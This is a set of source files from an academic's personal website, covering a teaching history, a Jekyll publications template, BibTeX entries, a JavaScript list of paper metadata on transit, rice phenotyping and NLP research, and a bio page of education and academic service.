<p class="twocol-left-col">Sep '15 - Dec '15</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">Software Design Patterns</span> (SWDESPA)</p>
</div>
</div>
<div class="twocol-content twocol-section">
<p class="twocol-left-col"></p>
<p class="twocol-entry">A.Y. 2014-2015</p>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Jan '15 - Apr '15</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">Human-Computer Interaction</span> (HCIFACE)</p>
<p><span class="twocol-entry-main">Software Engineering</span> (SPSWENG)</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Sep '14 - Dec '14</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">Advanced Software Engineering</span> (ADVANSE)</p>
<p><span class="twocol-entry-main">Software Design Patterns</span> (SWDESPA)</p>
<p><span class="twocol-entry-main">Databases</span> (INTRODB)</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">May '14 - Aug '14</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">Software Engineering</span> (INTROSE)</p>
<p><span class="twocol-entry-main">Software Design Patterns</span> (DESIPAT)</p>
</div>
</div>
<div class="twocol-content twocol-section">
<p class="twocol-left-col"></p>
<p class="twocol-entry">A.Y. 2013-2014</p>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Jan '14 - Apr '14</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">Software Engineering</span> (INTROSE)</p>
<p><span class="twocol-entry-main">Object-Oriented Programming</span> (OBJECTP)</p>
<p><span class="twocol-entry-main">Web Application Development</span> (WEBAPPS)</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Sep '13 - Dec '13</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">Applied Data Structures and Algorithms</span> (DASTRAP)</p>
<p><span class="twocol-entry-main">Mobile Computing</span> (MOBILE)</p>
</div>
</div>
<br>
> De La Salle University has 3 terms within an academic year (A.Y.).<file_sep>---
layout: publications
permalink: /publications/
title: Publications
---
<!-- Override column widths because of changes in content. -->
<style>
.twocol-content {
margin-bottom: 40px;
}
.twocol-section {
margin-bottom: 10px;
}
.twocol-left-col {
width: 10%;
}
.twocol-entry {
width: 88%;
}
</style>
<div>
{% for item in site.data.publications %}
<div class="twocol-content twocol-section">
<p class="twocol-left-col"></p>
<p class="twocol-entry">{{ item.name }}</p>
</div>
{% if item.papers %}
{% for paper in item.papers %}
<div class="twocol-content">
<div class="twocol-left-col">
{% if paper.figure %}
<img class="pub-thumbnail" src="{{ paper.figure }}" alt="{{ paper.alt }}">
{% endif %}
</div>
<div class="twocol-entry">
<p class="pub-twocol-entry-main">
{% if paper.page %}
<a href="{{ paper.page }}">
{% endif %}
{{ paper.title }}
{% if paper.page %}
</a>
{% endif %}
</p>
<p>{{ paper.authors }}</p>
<p><em>{% if paper.toappear %}(To appear in) {% endif %}{{ paper.venue }}</em>, {{ paper.year }}</p>
<p class="pub-misc">
{% if paper.link %}
<a class="pub-link" href="{{ paper.link }}"><i class="fas fa-external-link-square-alt"></i> Publisher's Copy</a>
{% endif %}
{% if paper.acm %}
<a class="pub-link" href="{{ paper.acm }}"><i class="ai ai-acm ai-lg"></i> Open Access ACM</a>
{% endif %}
{% if paper.file %}
<a class="pub-link" href="{{ paper.file }}"><i class="ai ai-open-access ai-lg"></i>PDF</a>
{% endif %}
{% if paper.arxiv %}
<a class="pub-link" href="{{ paper.arxiv }}"><i class="ai ai-arxiv ai-lg"></i> arXiv Preprint</a>
{% endif %}
{% if paper.doi %}
<a class="pub-link" href="https://doi.org/{{ paper.doi }}"><i class="fas fa-globe"></i> DOI</a>
{% endif %}
{% if paper.cite %}
<a class="pub-link" href="{{ paper.cite }}"><i class="fas fa-quote-left"></i> Cite</a>
{% endif %}
{% if paper.bibtex %}
<a class="pub-link" href="{{ paper.bibtex }}"><i class="fas fa-book"></i> BibTeX</a>
{% endif %}
{% if paper.accept-rate %}
<span class="pub-accept-rate">Acceptance Rate: {{ paper.accept-rate }}%</span>
{% endif %}
{% if paper.award %}
<span class="pub-award"><i class="fas fa-trophy"></i> {{ paper.award }}</span>
{% endif %}
</p>
</div>
</div>
{% endfor %}
{% endif %}
{% endfor %}
</div>
<br>
#### Access
If you cannot access any of my publications from the publisher's websites, you may request from me thru email or my [ResearchGate profile](https://www.researchgate.net/profile/Briane_Paul_Samson).<file_sep>---
layout: citation
type: Conference Papers
id: swarm
---<file_sep>---
layout: bibtex
title: Extracting Conceptual Relations from Children's Stories
---
@book{Samson2014,
author = {<NAME>. and <NAME>.},
booktitle = {Lecture Notes in Computer Science (including subseries Lecture Notes in Artificial Intelligence and Lecture Notes in Bioinformatics)},
isbn = {9783319133317},
issn = {16113349},
keywords = {Commonsense Knowledge,Natural Language Processing,Relation Extraction,Text Analysis},
pages = {195--208},
publisher = {Springer International Publishing Switzerland},
title = {Extracting conceptual relations from children's stories},
volume = {8863},
year = {2014}
}
<file_sep>---
layout: citation
type: Conference Papers
id: seight-rc
---<file_sep>---
layout: citation
type: Conference Papers
id: concept-rel
---<file_sep>---
layout: citation
type: Conference Papers
id: gridlock
---<file_sep>---
layout: bibtex
title: Plant Height Measurement and Tiller Segmentation of Rice Crops Using Image Processing
---
@inproceedings{Constantino2015,
author = {Constantino, <NAME> and Gonzales, <NAME> Lazaro, <NAME> and Serrano, <NAME> and Samson, <NAME>},
booktitle = {Proceedings of the DLSU Research Congress},
keywords = {Image processing,height,phenotyping,plant,tiller},
title = {Plant Height Measurement and Tiller Segmentation of Rice Crops Using Image Processing},
volume = {3},
year = {2015}
}
<file_sep>---
layout: bibtex
title: Optimizing the Efficiency, Vulnerability and Robustness of Road-based Para-transit Networks using Genetic Algorithm
---
@InProceedings{10.1007/978-3-319-93698-7_1,
author={<NAME>. and Velez, <NAME>. and Nobleza, <NAME> and <NAME>, <NAME>},
editor={<NAME> and Krzhizhanovskaya, <NAME>. and Lees, <NAME> and Dongarra, <NAME>, <NAME>.},
title={Optimizing the Efficiency, Vulnerability and Robustness of Road-Based Para-Transit Networks Using Genetic Algorithm},
booktitle={Computational Science -- ICCS 2018},
year={2018},
publisher={Springer International Publishing},
address={Cham},
pages={3--14},
isbn={978-3-319-93698-7}
}<file_sep>---
layout: bibtex
title: An Automated Thematic Role Labeler and Generalizer for Filipino Verb Arguments
---
@inproceedings{Samson2009,
address = {Hong Kong City, Hong Kong},
author = {Samson, <NAME> and Alcera, <NAME> and Go, <NAME> and Gonzales, <NAME> Lim, <NAME>},
booktitle = {23rd Pacific Asia Conference on Language, Information and Computation},
keywords = {Filipino Language,Lexicon Constructing Systems,Lexicons,Natural Language Processing,Thematic Roles},
mendeley-groups = {NLP},
pages = {501--510},
title = {An Automated Thematic Role Labeler and Generalizer for Filipino Verb Arguments},
year = {2009}
}
<file_sep>---
layout: bibtex
title: "Luntian: An Automated, High-throughput Phenotyping System for the Greenness and Biomass of C4 Rice"
---
@inproceedings{Buzon2015,
author = {Buzon, <NAME> and Dumlao, <NAME> and Mangubat, <NAME> and Villarosa, <NAME> and Samson, <NAME>},
booktitle = {Proceedings of the DLSU Research Congress},
volume = {3},
title = {Luntian : An Automated , High-Throughput Phenotyping System for the Greenness and Biomass of C4 Rice},
year = {2015}
}
<file_sep>---
layout: bibtex
title: Design Considerations for a Visualization and Simulation Tool for CBMS Data
---
@inproceedings{Marcos2014,
author = {<NAME> and Largoza, Gerardo and Samson, <NAME> and Base, <NAME> and Calulo, <NAME> and Co, <NAME> and Lo, <NAME>},
booktitle = {DLSU Research Congress 2014},
title = {Design Considerations for a Visualization and Simulation Tool for CBMS Data},
year = {2014}
}
<file_sep>---
layout: citation
type: Conference Papers
id: congestion-mrt
---<file_sep>var papers = [
{
"title": "Optimizing the Efficiency , Vulnerability and Robustness of Road-based Para-transit Networks using Genetic Algorithm",
"year": "2018",
"authors": [
{
"type": "me",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
}
],
"doi": "https://doi.org/10.1007/978-3-319-93698-7_1",
"conference": "18th International Conference on Computational Science - ICCS 2018",
"proceedings": "Lecture Notes in Computer Science",
"volume": "10860",
"keywords": "Complex Networks, Genetic Algorithm, Network Optimization",
"pages": "3-14",
"publisher": "Springer International Publishing",
"abstract": "",
"figures": [],
"pdf": "",
"url": "https://doi.org/10.1007/978-3-319-93698-7_1",
"citation": "<NAME>., <NAME>., <NAME>., <NAME>., & <NAME>. (2018). Optimizing the Efficiency, Vulnerability and Robustness of Road-based Para-transit Networks using Genetic Algorithm. In: Shi Y. et al. (eds) Computational Science – ICCS 2018. ICCS 2018. Lecture Notes in Computer Science, vol 10860. Springer, Cham."
},
{
"title": "Towards an Automated Plant Height Measurement and Tiller Segmentation of Rice Crops using Image Processing",
"year": "2018",
"authors": [
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "me",
"name": "<NAME>."
}
],
"doi": "https://doi.org/10.1007/978-3-319-76947-9_11",
"book": "Mechatronics and Machine Vision in Practice 3",
"keywords": "Image processing, Height, Phenotyping, Plant, Tiller, Segmentation",
"pages": "117-130",
"publisher": "Springer International Publishing",
"abstract": "",
"figures": [],
"pdf": "",
"url": "https://doi.org/10.1007/978-3-319-76947-9_11",
"citation": "<NAME>., <NAME>., <NAME>., <NAME>., <NAME>. (2018) Towards an Automated Plant Height Measurement and Tiller Segmentation of Rice Crops using Image Processing. In: <NAME>., <NAME>. (eds) Mechatronics and Machine Vision in Practice 3. Springer, Cham."
},
{
"title": "Towards an Automated, High-Throughput Identification of the Greenness and Biomass of Rice Crops",
"year": "2018",
"authors": [
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "me",
"name": "<NAME>."
}
],
"doi": "https://doi.org/10.1007/978-3-319-76947-9_9",
"book": "Mechatronics and Machine Vision in Practice 3",
"keywords": "Automated phenotyping, Image processing, Greenness, Biomass, Rice, Research optimization",
"pages": "117-130",
"publisher": "Springer International Publishing",
"abstract": "",
"figures": [],
"pdf": "",
"url": "https://doi.org/10.1007/978-3-319-76947-9_9",
"citation": "<NAME>., <NAME>., <NAME>., <NAME>., <NAME>. (2018) Towards an Automated, High-Throughput Identification of the Greenness and Biomass of Rice Crops. In: <NAME>., <NAME>. (eds) Mechatronics and Machine Vision in Practice 3. Springer, Cham."
},
{
"title": "Understanding the Effects of Drivers' Perceived Quality of Information and Suggestions on the Use of Social Navigation Applications",
"year": "2018",
"authors": [
{
"type": "me",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
}
],
"doi": "",
"conference": "Asian CHI Symposium: Emerging HCI Research Collection",
"proceedings": "",
"volume": "",
"keywords": "",
"pages": "",
"publisher": "ACM",
"abstract": "",
"figures": [],
"pdf": "",
"url": "",
"citation": "<NAME>., & <NAME>. (2018). Understanding the Effects of Drivers' Perceived Quality of Information and Suggestions on the Use of Social Navigation Applications. In Proceedings of the Asian CHI Symposium: Emerging HCI Research Collection, 2018."
},
{
"title": "Taxi Dash: Serendipitous Discovery of Taxi Carpool Riders",
"year": "2018",
"authors": [
{
"type": "me",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
}
],
"doi": "",
"conference": "Mobile Computing, Applications, and Services - MobiCASE 2018",
"proceedings": "Lecture Notes of the Institute for Computer Sciences, Social Informatics and Telecommunications Engineering",
"volume": "240",
"keywords": "Carpooling, Group formation, Human-centered computing, Web applications",
"pages": "277-281",
"publisher": "ACM",
"abstract": "",
"figures": [],
"pdf": "",
"url": "",
"citation": "<NAME>., & <NAME>. (2018). Taxi Dash: Serendipitous Discovery of Taxi Carpool Riders. In: Murao K., <NAME>., <NAME>., <NAME>. (eds) Mobile Computing, Applications, and Services. MobiCASE 2018. Lecture Notes of the Institute for Computer Sciences, Social Informatics and Telecommunications Engineering, vol 240. Springer, Cham."
},
{
"title": "Crowd Dynamics and Control in High-Volume Metro Rail Stations",
"year": "2017",
"authors": [
{
"type": "me",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
}
],
"doi": "https://doi.org/10.1016/j.procs.2017.05.097",
"conference": "17th International Conference on Computational Science - ICCS 2017",
"proceedings": "Procedia Computer Science",
"volume": "108",
"keywords": "Crowd Dynamics, Crowd Control, Complex Systems, Mass Rapid Transit",
"pages": "195-204",
"publisher": "Elsevier B.V.",
"abstract": "",
"figures": [],
"pdf": "",
"url": "https://doi.org/10.1016/j.procs.2017.05.097",
"citation": "<NAME>., <NAME>., <NAME>., <NAME>., & <NAME>. (2017). Crowd Dynamics and Control in High-Volume Metro Rail Stations. Procedia Computer Science, Volume 108, 2017, Pages 195-204."
},
{
"title": "Analyzing Congestion Dynamics in Mass Rapid Transit using Agent-Based Modeling",
"year": "2017",
"authors": [
{
"type": "me",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
}
],
"doi": "",
"conference": "17th Philippine Computing Science Congress - PCSC 2017",
"proceedings": "17th Philippine Computing Science Congress",
"volume": "",
"keywords": "Agent-based modeling, Congestion dynamics, Mass rapid transit",
"pages": "209-214",
"publisher": "Computing Society of the Philippines",
"abstract": "",
"figures": [],
"pdf": "",
"award": [
{
"type": "hm",
"name": "Honorable Mention"
}
],
"url": "",
"citation": "<NAME>., <NAME>., <NAME>., <NAME>., & <NAME>. (2017). Analyzing Congestion Dynamics in Mass Rapid Transit using Agent-Based Modeling. In Proceedings of the 17th Philippine Computing Science Congress."
},
{
"title": "A Web-based CBMS Dataset Visualization and Simulation Tool",
"year": "2016",
"authors": [
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "me",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
}
],
"doi": "",
"conference": "DLSU Research Congress 2016",
"proceedings": "DLSU Research Congress 2016",
"volume": "",
"keywords": "Community data, Visualization, Simulation, Maps, Economics",
"pages": "7-12",
"publisher": "De La Salle University",
"abstract": "",
"figures": [],
"pdf": "",
"award": [
{
"type": "best",
"name": "Best Paper - Sustainability, Environment, and Energy"
}
],
"url": "",
"citation": "<NAME>., <NAME>., <NAME>., <NAME>., <NAME>., <NAME>. & <NAME>. (2016). A Web-based CBMS Dataset Visualization and Simulation Tool. In Proceedings of the DLSU Research Congress 2016, volume 4."
},
{
"title": "Simpatico: A Text Simplification System for Senate and House Bills",
"year": "2015",
"authors": [
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "me",
"name": "<NAME>."
}
],
"doi": "",
"conference": "11th National Natural Language Processing Research Symposium",
"proceedings": "11th National Natural Language Processing Research Symposium",
"volume": "",
"keywords": "eParticipation, Philippine Senate and House bills, Lexical Simplification, Syntactic Simplification",
"pages": "26-32",
"publisher": "Computing Society of the Philippines",
"abstract": "",
"figures": [],
"pdf": "",
"award": [],
"url": "",
"citation": "<NAME>., <NAME>., <NAME>., <NAME>. & <NAME>. (2015). Simpatico: A Text Simplification System for Senate and House Bills. In Proceedings of the 11th National Natural Language Processing Research Symposium."
},
{
"title": "Plant Height Measurement and Tiller Segmentation of Rice Crops Using Image Processing",
"year": "2015",
"authors": [
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "me",
"name": "<NAME>."
}
],
"doi": "",
"conference": "DLSU Research Congress 2015",
"proceedings": "DLSU Research Congress 2015",
"volume": "3",
"keywords": "Image processing, Phenotyping, Plant, Height, Tiller",
"pages": "1-6",
"publisher": "De La Salle University",
"abstract": "",
"figures": [],
"pdf": "",
"award": [],
"url": "",
"citation": "<NAME>., <NAME>., <NAME>., <NAME>. & <NAME>. (2015). Plant Height Measurement and Tiller Segmentation of Rice Crops Using Image Processing. In Proceedings of the DLSU Research Congress 2015."
},
{
"title": "Luntian: An Automated, High-throughput Phenotyping System for the Greenness and Biomass of C4 Rice",
"year": "2015",
"authors": [
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "me",
"name": "<NAME>."
}
],
"doi": "",
"conference": "DLSU Research Congress 2015",
"proceedings": "DLSU Research Congress 2015",
"volume": "3",
"keywords": "Rice Phenotyping, Image Processing, Greenness, Biomass, C4 Rice",
"pages": "1-7",
"publisher": "De La Salle University",
"abstract": "",
"figures": [],
"pdf": "",
"award": [],
"url": "",
"citation": "<NAME>., <NAME>., <NAME>., <NAME>. & <NAME>. (2015). Luntian: An Automated, High-throughput Phenotyping System for the Greenness and Biomass of C4 Rice. In Proceedings of the DLSU Research Congress 2015."
},
{
"title": "Extracting Conceptual Relations from Children’s Stories",
"year": "2014",
"authors": [
{
"type": "me",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
}
],
"doi": "",
"conference": "Pacific Rim Knowledge Acquisition Workshop 2014",
"proceedings": "Knowledge Management and Acquisition for Smart Systems and Services - Lecture Notes in Computer Science",
"volume": "8863",
"keywords": "Natural Language Processing, Text Analysis, Relation Extraction, Commonsense Knowledge",
"pages": "195-208",
"publisher": "Springer International Publishing",
"abstract": "",
"figures": [],
"pdf": "",
"award": [],
"url": "",
"citation": "<NAME>. & <NAME>. (2014). Extracting Conceptual Relations from Children’s Stories. In: <NAME>., <NAME>., <NAME>. (eds) Knowledge Management and Acquisition for Smart Systems and Services. LNCS 8863 (195-208). Switzerland: Springer International Publishing."
},
{
"title": "Design Considerations for a Visualization and Simulation Tool for CBMS Data",
"year": "2014",
"authors": [
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "me",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
}
],
"doi": "",
"conference": "DLSU Research Congress 2014",
"proceedings": "DLSU Research Congress 2014",
"volume": "2",
"keywords": "Visualization, Simulation, Big data, Statistics, Economics",
"pages": "",
"publisher": "De La Salle University",
"abstract": "",
"figures": [],
"pdf": "",
"award": [],
"isAbstract": "true",
"url": "",
"citation": "<NAME>., <NAME>., <NAME>., <NAME>., <NAME>., <NAME>. & <NAME>. (2014). Design Considerations for a Visualization and Simulation Tool for CBMS Data. In Proceedings of the DLSU Research Congress 2014."
},
{
"title": "Generalized Distributed Garbage Collection",
"year": "2009",
"authors": [
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "me",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
}
],
"doi": "",
"conference": "10th Philippine Computing Science Congress - PCSC 2009",
"proceedings": "10th Philippine Computing Science Congress",
"volume": "",
"keywords": "Garbage collection, Distributed system, Multi-threading",
"pages": "",
"publisher": "Computing Society of the Philippines",
"abstract": "",
"figures": [],
"pdf": "",
"award": [],
"isAbstract": "",
"url": "",
"citation": "<NAME>., <NAME>., <NAME>., <NAME>., & <NAME>. (2009). Generalized Distributed Garbage Collection. In Proceedings of the 10th Philippine Computing Science Congress."
},
{
"title": "An Automated Thematic Role Labeler and Generalizer for Filipino Verb Arguments",
"year": "2009",
"authors": [
{
"type": "me",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
},
{
"type": "coauth",
"name": "<NAME>."
}
],
"doi": "",
"conference": "23rd Pacific Asia Conference on Language, Information and Computation - PACLIC 23",
"proceedings": "23rd Pacific Asia Conference on Language, Information and Computation",
"volume": "",
"keywords": "Thematic Roles, Lexicons, Lexicon Constructing Systems, Filipino Language, Natural Language Processing",
"pages": "501-510",
"publisher": "City University of Hong Kong Press",
"abstract": "",
"figures": [],
"pdf": "",
"award": [],
"isAbstract": "",
"url": "",
"citation": "<NAME>., <NAME>., <NAME>., <NAME>. & <NAME>. (2009). An Automated Thematic Role Labeler and Generalizer for Filipino Verb Arguments. In Proceedings of the 23rd Pacific Asia Conference on Language, Information and Computation (501-510). Hong Kong: City University of Hong Kong Press."
}
];<file_sep>---
layout: citation
type: Short Papers/Posters
id: gen-collection
---<file_sep>---
layout: citation
type: Conference Papers
id: luntian-rc
---<file_sep>---
layout: bibtex
title: "Simpatico: A Text Simplification System for Senate and House Bills"
---
@inproceedings{Hipe2015,
author = {<NAME> and <NAME> and <NAME> and Collantes, Miguel and <NAME> and Sorilla, <NAME> and <NAME> and <NAME> and <NAME>},
booktitle = {Proceedings of the 11th National Natural Language Processing Research Symposium},
keywords = {Applications,Text Simplification},
number = {February 2016},
pages = {26--32},
title = {Simpatico: A Text Simplification System for Senate and House Bills},
year = {2015}
}
<file_sep>---
layout: bio
title: Bio
permalink: /bio/
---
<!-- Education -->
<div class="twocol-content twocol-section">
<p class="twocol-left-col"></p>
<p class="twocol-entry">Education</p>
</div>
<div class="twocol-content">
<p class="twocol-left-col">2017 - 2020</p>
<div class="twocol-entry">
<p>
<span class="twocol-entry-main">Doctor of Systems Information Science</span>
<span style="color: grey">at</span>
<a href="https://www.fun.ac.jp/en/" target="_blank">Future University Hakodate</a>, Japan
</p>
<p><em>Motivational Techniques that Aid Drivers to Choose Unselfish Routes</em> [<a href="/publications/factors-not-follow" target="_blank">CHI'19</a>, <a href="/publications/two-heads-pilot" target="_blank">CHI'20 LBW</a>, <a href="/files/dissertation.pdf" target="_blank">Dissertation</a>]</p>
<p>Advisor: <a href="http://www.fun.ac.jp/~sumi/" target="_blank"><NAME></a></p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">2009 – 2013</p>
<div class="twocol-entry">
<p>
<span class="twocol-entry-main">Master of Science in Computer Science</span>
<span style="color: grey">at</span>
<a href="https://www.dlsu.edu.ph/" target="_blank">De La Salle University</a>, Philippines
</p>
<p><em><a href="/files/2014samson_conceptrel_pkaw.pdf" target="_blank">Extracting Event Relations from Children's Stories</a></em></p>
<p>Advisor: <NAME></p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">2006 – 2009</p>
<div class="twocol-entry">
<p>
<span class="twocol-entry-main">Bachelor of Science in Computer Science with specialization in Software Technology</span>
<span style="color: grey">at</span>
<a href="https://www.dlsu.edu.ph/" target="_blank">De La Salle University</a>, Philippines
</p>
<p><em><a href="/files/2009samson_thematicrole_paclic.pdf" target="_blank">Automatic Labeling of Thematic Roles of Verb Arguments in the Filipino Language</a></em></p>
<p>Honors: <NAME></p>
<p>Advisor: <NAME></p>
</div>
</div>
<!-- Employment -->
<div class="twocol-content twocol-section">
<p class="twocol-left-col"></p>
<p class="twocol-entry">Employment</p>
</div>
<div class="twocol-content">
<p class="twocol-left-col">2013 – Present</p>
<div class="twocol-entry">
<p>
<a class="twocol-entry-main" href="https://www.dlsu.edu.ph/" target="_blank">De La Salle University</a>, Philippines
</p>
<p>Assistant Professor, College of Computer Studies</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">2012 – 2013</p>
<div class="twocol-entry">
<p>
<a class="twocol-entry-main" href="https://www.dlsu.edu.ph/" target="_blank">De La Salle University</a>, Philippines
</p>
<p>Research Assistant</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">2010 – 2012</p>
<div class="twocol-entry">
<p>
<a class="twocol-entry-main" href="https://www.dimensiondata.com/" target="_blank">Dimension Data Asia Pacific Pte. Ltd.</a>, Singapore
</p>
<p>Associate Consultant, Microsoft Solutions</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">2009 – 2010</p>
<div class="twocol-entry">
<p>
<a class="twocol-entry-main" href="https://www.dimensiondata.com/" target="_blank">Dimension Data Asia Pacific Pte. Ltd.</a>, Philippines
</p>
<p>Researcher & Project Implementor</p>
</div>
</div>
<!-- Academic Services -->
<div class="twocol-content twocol-section">
<p class="twocol-left-col"></p>
<p class="twocol-entry">Academic Services</p>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Assistant to the Papers Chair</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">ACM Human Factors in Computing Systems (CHI)</span> 2019-2020</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">General Chair</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">Asian CHI Symposium</span> 2020-2021</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Associate Chair</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">CHI</span> 2021</p>
<p><span class="twocol-entry-main">CSCW</span> 2021</p>
<p><span class="twocol-entry-main">CHI Late-Breaking Works (LBWs) Track</span> 2020-2021</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Organizing Committee</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">MobileHCI</span> 2022 - Social Media Co-Chair</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Reviewer - Journal</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">Cities</span></p>
<p><span class="twocol-entry-main">Computers and Electronics in Agriculture</span></p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Reviewer - Conference</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">CSCW</span> 2019-2020</p>
<p><span class="twocol-entry-main">AutoUI</span> 2019-2020</p>
<p><span class="twocol-entry-main">VIS</span> 2019</p>
<p><span class="twocol-entry-main">MobileHCI</span> 2019-2020</p>
<p><span class="twocol-entry-main">DIS</span> 2020</p>
<p><span class="twocol-entry-main">ICMI</span> 2019-2020</p>
<p><span class="twocol-entry-main">ISS</span> 2019</p>
<p><span class="twocol-entry-main">Asian CHI Symposium</span> 2019-2020</p>
<p><span class="twocol-entry-main">IndiaHCI</span> 2020</p>
<p><span class="twocol-entry-main">CHIuXiD</span> 2019</p>
<p><span class="twocol-entry-main">National Natural Language Processing Research Symposium (NNLPRS)</span> 2015-2018</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Head</p>
<div class="twocol-entry">
<p><a class="twocol-entry-main" href="http://comet.dlsu.edu.ph" target="_blank">Center for Complexity and Emerging Technologies (COMET)</a>, DLSU 2014-2017</p>
<p>Civic Services Research Group, <a class="twocol-entry-main" href="http://comet.dlsu.edu.ph" target="_blank">COMET</a>, DLSU 2017-present</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Professorial Chair</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main"><NAME> Chair of Computer Technology</span>, Software Technology Department, DLSU 2016-2017</p>
<p><span class="twocol-entry-main"><NAME>r. Chair of Computer Science</span>, Software Technology Department, DLSU 2015-2016</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Coordinator</p>
<div class="twocol-entry">
<p><span class="twocol-entry-main">Practicum</span>, Software Technology Department, DLSU 2013-2017</p>
</div>
</div>
<!-- Organizations & Communities -->
<div class="twocol-content twocol-section">
<p class="twocol-left-col"></p>
<p class="twocol-entry">Organizations & Communities</p>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Co-Founder</p>
<div class="twocol-entry">
<p><a href="http://databeersmnl.tumblr.com/" target="_blank"><NAME></a></p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Executive Committee</p>
<div class="twocol-entry">
<p><a href="https://www.facebook.com/chimnl/" target="_blank">Manila ACM SIGCHI Chapter</a></p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Campus Advisor</p>
<div class="twocol-entry">
<p><a href="https://education.github.com/teachers/advisors" target="_blank">GitHub Education</a></p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">Member</p>
<div class="twocol-entry">
<p><a href="http://www.acm.org/" target="_blank">Association for Computing Machinery (ACM)</a></p>
<p><a href="https://sigchi.org/" target="_blank">ACM Special Interest Group on Computer-Human Interaction (SIGCHI)</a></p>
<p><a href="https://www.kdd.org/" target="_blank">ACM Special Interest Group on Knowledge Discovery and Data Mining (SIGKDD)</a></p>
<p><a href="https://www.interaction-design.org/" target="_blank">Interaction Design Foundation (IDF)</a></p>
<p><a href="https://www.datavisualizationsociety.com/" target="_blank">Data Visualization Society (DVS)</a></p>
<p><a href="http://www.ipsj.or.jp/english/" target="_blank">Information Processing Society of Japan (IPSJ)</a></p>
<p><a href="http://sigubi.ipsj.or.jp/" target="_blank">IPSJ Special Interest Group on Ubiquitous Computing (SIGUBI)</a></p>
<p><a href="https://netscisociety.net/home" target="_blank">Network Science Society (NetSci)</a></p>
<p><a href="https://www.networkscienceinstitute.org/syns" target="_blank">Society of Young Network Scientists (SYNS)</a></p>
<p><a href="https://cssociety.org/" target="_blank">Complex Systems Society (CSS)</a></p>
</div>
</div>
<!-- Grants & Awards -->
